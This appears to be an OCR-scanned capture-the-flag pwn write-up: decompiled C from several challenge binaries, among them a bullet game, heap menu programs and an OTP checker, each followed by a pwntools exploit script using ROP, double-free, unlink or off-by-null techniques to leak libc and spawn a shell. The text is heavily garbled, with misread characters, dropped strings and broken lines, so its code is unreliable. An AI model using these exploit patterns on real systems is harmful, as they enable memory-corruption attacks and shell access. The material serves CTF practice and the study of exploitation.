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266 pwnable_silverbullet

create

int _ cdecl create_bullet(char *s)

{

size_t v2; // [esp+@h] [ebp-4h]

if ( *s )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(s, 48u);
v2 = strlen(s);
printf("Your power is : %u\n", v2);
*((_DWORD *)s + 12) = v2;
return puts(“"Good luck !!");
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power_up

int _ cdecl power_up(char *dest)

{
char s[48]; // [esp+6h] [ebp-34h] BYREF
size t v3; // [esp+36h] [ebp-4h]

V3 = 8;
memset(s, ©, sizeof(s));
if ( !*dest )

return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 47u )

return puts("You can't power up any more !");
printf(“"Give me your another description of bullet :");
read_input(s, 48 - *((_DWORD *)dest + 12));
strncat(dest, s, 48 - *((_DWORD *)dest + 12));
v3 = strlen(s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3;
return puts("Enjoy it !");
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beat

L
int result; // eax

if ( *(_BYTE *)al )

{
puts("> """""" Werewolf ----------- <u) ;
printf(" + NAME : %s\n", *(const char **)(a2 + 4));
printf(" + HP : %d\n", *(_DWORD *)a2);

puts("Try to beat it ..... "3
usleep(@xF4248u);
*(_DWORD *)a2 -= *(_DWORD *)(al + 48);
if ( *(int *)a2 <= 98 )
{

puts("Oh ! You win !!");

result = 1;

h

else
{
puts(“Sorry ... It still alive !!");
result = @;
¥
¥
else
{
puts("You need create the bullet first !");
result = @;

h

return result;

exp



from pwn import

context.log level

remote ( ,25942)

main 0x8048954

def create(des):
r.sendlineafter(

r.sendafter(

def power(des):
r.sendlineafter(

r.sendafter(

def beat():
r.sendlineafter(

elf.plt]
elf.got|

create( 0x20)
power ( 0x10)
power (p32(0x7FFFFFFF) 3+p32(puts_plt)+p32(main)+p32(puts_got))

puts u32(r.recvuntil( ,drop=True).ljust(4,
libc_base puts libc.symbols| ]
system_addr libc_base libc.symbols|
libc_base + libc.search(
(libc_base)

0x20)

0x10)
power (p32(Ox7FFFFFFF) 3+p32(system_addr)+p32(main)+p32(bin_sh))
beat()

r.interactive()
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add

__inte4 sub_4ee9DC()
{
size t size; // [rsp+8h] [rbp-28h] BYREF
unsigned __inté4 1i; // [rsp+8h] [rbp-18h]

char *v3; // [rsp+16h] [rbp-16h]
unsigned __inteé4 v4; // [rsp+18h] [rbp-8h]

v4d = _ readfsqword(@x28u);

__is0c¢99_scanf("%1lu", &size);

getchar();

if ( size != 16 && size <= OX7F )
exit(e);

v3 = (char *)malloc(size);

sub_deegB6(v3, size);

for ( 1 = 0OLL; 1 <= 9 && (&s)[1]; ++1 )

if (1==10)
exit(@);

(&s)[1] = v3;

return OLL;
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L|_int64 _ fastcall sub_40@8B6(void *al, __int64 a2)
2{

3| __int64 result; // rax

1

5| LODWORD(result) = read(®, al, a2 - 1);

5| *((_BYTE *)al + a2 - 1) = @;

7| return (unsigned int)result;

30}

free

__int64 sub_4eeAB7()

{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+&h] [rbp-8h

v2 = _ readfsqword(©x28u);

__1s0c99_scanf("%d", &v1);

getchar();

if (vi<e || vi>9)
return BxXFFFFFFFFLL;

free((&s)[v1]);

return eLL;
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from pwn import
context(os ,log level
r remote( ,29830)

el f=ELF(

system plt=elf.plt|
free_got=elf.got|

def create(size,content):
sleep(9.2)

r.sendline(

sleep(0.2)

r.sendline( (size))
sleep(9.2)

r.sendline(content)

def delete(index):
sleep(0.2)
r.sendline(
sleep(0.2)

r.sendline( (index))

create(0x80,

create(0x80,

delete(9)

delete(9)
create(0x80,p64(free_got)
create(0x80, )
create(0x80,p64(system_plt))
delete(1)

r.interactive()
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add

puts(“tai duo le”);
puts(“input len");
nbytes = getnum();
if ( nbytes > @x7F && nbytes <= @x10e )
{
nbytes 4 = malloc(nbytes);
s = malloc(nbytes);
memset(s, @, nbytes);
memset(nbytes 4, @, nbytes);
puts("input your data");
read(®, nbytes_4, (unsigned int)nbytes);
strcpy((char *)s, (const char *)nbytes_4);
++total;
for (1 =0; 1< total; ++1 )
{
if ( !(&heap_form)[i] )
{
(&heap_form)[i] = (char *)s;
break;
}
}
if ( i == total )
(&heap_form)[i] = (char *)s;
free(nbytes_4);
}

else

{

puts("no no no");

}
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del

int delet()
{

int v1; // [rsp+Ch] [rbp-4h]

puts("input id");

vl = getnum();

if (vi<e || total - 1 < vl )
return puts(“no no no");

free((&heap_form)[v1]);

(&heap_form)[vli] = OLL;

return --total;
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show

{

lint show()

int result; // eax
int v1; // [rsp+Ch] [rbp-4h]

puts("input id");
vl = getnum();
if (vl >= @ && total - 1 >= vl )
result = printf("%s", (&heap_form)[vi]
else
result = puts("no no no");
return result;
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edit

{

lint edit()

size_t vi1; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts("input id");

v2 = getnum();

if (v2 <@ || total - 1< v2)
return puts("no no no");

puts("input your data");

vl = strlen((&heap_form)[v2]);

return read(@, (&heap_form)[v2], vi);
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from pwn import

,25766)

def add(size,content):
p.sendlineafter( )
p.sendlineafter( 5 (size))

p.sendafter( ,content)

def delete(idx):
p.sendlineafter(

p.sendlineafter(

show(idx):
p.sendlineafter(
p.sendlineafter(

def edit(idx,content):
p.sendlineafter(
p.sendlineafter( ) (idx))
p.sendafter( ,content)

add (0x88, 0x88)
add (0x88, 0x88)
s 0x88)
0x88 )
0x20+p64(0)+p64(0x61))

Ox88+p64 (0x91)+p64 (0x6020C0-0x10) )
0x20)

libcbase=u64(p.recvuntil( )[-6:].1just(8, ))-libc.sym[
system=1libcbase+1libc.sym[ ]

edit(0,p64(system))

sleep(1)

p.sendline(

p.interactive()
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vl2 = __readfsqword(@x28u);

if ( argc == 2 )

{

0)s

fd = open("/dev/urandom", @, env
f (fd==-1)
exit(-1);
if ( (unsigned int)read(fd, &buf, exl1euLL) != 16 )
exit(-1);
close(fd);
sprintf(s, "/tmp/%1llu", buf);
stream = fopen(s, "w");
if ( lstream )
exit(-1);
fwrite(&v6, 8ullL, 1ullL,
fclose(stream);
puts("OTP generated.");
p'* = oLL;
fopen( r);
1f ( Ivo )
exit(- 1),
fread(&ptr, 8uLL, 1uLL, v9);
fclose(va);
va = strtoul(argv[1], ©LL, 16);
if ( v4 == ptr )
{
puts("Congratz!");
system("/bin/cat flag");
}
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size_t fwrite(const void *ptr, size_t size,
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}

int 1i; //
unsigned int size; //
void *ptr; //

puts("Size: ");
= getint("Size: ", );
= malloc((int) );
if ( )
{
for ( 1 = ©;
if (
{

==7)

puts(“List is Full!\n");
free( );
}

else
{
puts("Data: ");
getsering(ptr, );
address_array[1] = 5
}
}

<= 6 &% address_array[i]; ++1 )




.lunsigned __int64 _ fastcall sub_9F1(__int64 al, int a2)
|

char buf; // [rsp+13h] [rbp-Dh] BYREF
int i; // [rsp+14h] [rbp-Ch]
unsigned __inté4 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(®x28u);
for (1 =0; 1< a2; ++1 )
{

if ( (int)read(@, &buf, 1ulLl) < © )
puts(“Read error!\n");
if ( buf == 10 )
break;
*(_BYTE *)(al + i) = buf;
}
*(_BYTE *)(i + al) = @;
return __readfsgword(®x28u) ~ v5;

EARH off by null.

free

T

{

.|int delete()

_QWORD *v@; // rax
int v2; // [rsp+Ch] [rbp-4h]

puts(“Index: ");

LODWORD(ve) = getint();

v2 = (int)ve;

if ( (unsigned int)ve <= 6 )

{
free((void *)address_array[(unsigned int)ve]);
v8 = address_array;
address_array[v2] = OLL;

¥

return (int)ve;
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show

int show()

{
__inte4 ve; // rax

int i; // [rsp+Ch] [rbp-4h]

for (1 =0; i<=6; ++i )

e B T was was s et e e e s

{
ve = address_array[i];
if (ve)
LODWORD(v@) = printf("%d : %s \n", (unsigned int)i, (const char *)address_array[i]);
}
return ve;
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from pwn import
remote( , 26026)
def create(size,pay):
r.recvuntil(
.sendline(

.recvuntil( )

.recvuntil( )

r
r
r.sendline( (size))
r
r

.send(pay)

def delete(idx):
.recvuntil(
.sendline(
.recvuntil( )
.sendline( (idx))
def show():
r.recvuntil(

r.sendline(

create(0x100-8, 0x20 )

create(0x650-8, Ox5f0+p64(0x600)+p64 (0x50)
create(0x500, 0x20 )

create(0x100, 0x20 )

delete(9)

delete(1)

create(0x100-8,

create(0x500-8,

)

libc_base ub4(s.recv(6) 2)-0x3ebca0

create(0x100-8, ox10

create(0x100-8,p64(1libc+Ox3EDSES)
create(0x100-8,p64(libc+0x3ed8e8)
create(0x100-8,p64(libc+0x4F440)
create(0x200-8,

delete(6)

r.interactive()
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